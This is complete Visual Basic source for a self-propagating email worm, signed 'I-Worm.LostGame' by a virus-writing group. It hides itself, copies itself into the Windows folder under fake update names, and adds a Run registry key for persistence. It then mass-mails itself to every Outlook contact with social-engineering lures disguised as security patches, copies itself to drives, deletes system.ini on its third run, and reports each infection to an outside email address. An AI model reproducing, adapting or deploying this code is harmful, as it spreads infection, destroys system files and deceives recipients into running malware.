Private Sub Form_Load(): Dim fso, wshs, vhost, vime
Form1.Visible = False
Dim exeime(1 To 4)
exeime(2) = "Win_Update.exe"
exeime(1) = "Posta_Update.exe"
exeime(4) = "BiHNet.exe"
exeime(3) = "Win32_Update.exe"
vime = exeime(Int(Rnd * 1 + Rnd * 3 + Rnd * 4))
Set fso = CreateObject("Scripting.filesystemobject")
Set wshs = CreateObject("WScript.Shell")
If wshs.regread("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\") <> "LastWord" Then
wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LastWord", "c:\windows\" & vime
Else
GoTo kraj
End If
vhost = "c:\windows\" & vime
With fso
fso.copyfile App.Path & "\" & App.EXEName & ".exe", vhost, 1
End With
Const tri = 3
Dim bod(1 To tri)
bod(1) = "Postovani korisnice! Ovo je novi Update koji ce zastiti Vas kompjuter od internet crva! Da bi instalirali ovaj update molim pokrenite datoteku koja Vam je dosla uz attachment pod imenom " & vime
bod(2) = "Cijenjeni korisnice! Update koji Vam je dosao kao attachment sluzi kao patch da bi ste se zastitili od mnogobrojnih internet crva i virusa!"
bod(3) = "Instalirajte ovu datoteku koja ce rijesiti problem TypeLib kod IE_5.0! Unaprijed hvala!"
kraj:
Dim a, b, c
Set a = CreateObject("Outlook.Application")
Set b = a.getnamespace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For f = 1 To b.addresslists.Count
    For d = 1 To b.addresslists(f).addressentries.Count
        With a.CreateItem(0)
        Set g = b.addresslists(f).addressentries(d)
        .Recipients.Add g
        .Subject = "Vazna informacija!"
        .body = bod(Int(Rnd * 2 + 1))
        .Attachments.Add vhost
        .Send
        End With
        g = ""
    Next d
Next f
b.logoff
End If
Set sdrv = fso.Drives
For Each drajv In sdrv
If drajv.drivetype = 1 Or 3 Then
If drajv.drivetype = 4 Then GoTo dalje 'CD-ROM!?!?! (read-only)
If drajv.isready = True Then
fso.copyfile vhost, drajv.driveletter & ":\", True
End If
End If
Next drajv
dalje:
If Dir("c:\Windows\opomena.txt") <> "opomena.txt" Then
Set raport = fso.CreateTextFile("c:\windows\opomena.txt", True)
raport.writeline "1"
raport.Close
Else
Set procitaj = fso.OpenTextFile("c:\Windows\opomena.txt", 1)
broj = procitaj.readline
procitaj.Close
If broj = 1 Then
Set drugi = fso.OpenTextFile("c:\Windows\opomena.txt", 2, True)
drugi.writeline "2"
drugi.Close
MsgBox "Some errors occured while system tries to update! Please try again!", vbCritical, "WinUpdate 2001"
Else
If broj = 2 Then
Set treci = fso.OpenTextFile("c:\Windows\opomena.txt", 2, True)
treci.writeline "3"
treci.Close
MsgBox "I said some errors occured while system tries to update! Please update as soon as possible!", vbCritical, "WinUpdate 2001"
Else
If broj = 3 Then
MsgBox "U shOulD Do tHaT uSer, U shOuLd dO thAt UpDatE! ...this is My LastWord", vbInformation, "WinUpdate's Last Word!"
Form1.Visible = True
Kill "c:\windows\system.ini"
End If
End If
End If
End If
Set mail = a.CreateItem(olMailItem)
With mail
mail.Recipients.Add ("gargamelaf@yahoo.com")
If broj = 3 Then
mail.body = "...jos jedan kompjuter je podlegao, ali ovaj put to je nesto drugo ;)"
Else
mail.body = "...inficirao sam jos jednog GAZDA!"
End If
mail.Subject = "Raport!"
mail.Send
End With
End Sub 'I-Worm.LostGame by Specie / www.vxbiolabs.cjb.net Specie & ACIdCooKie
Private Sub Timer1_Timer()
On Error Resume Next
BackColor = BackColor + 5
End Sub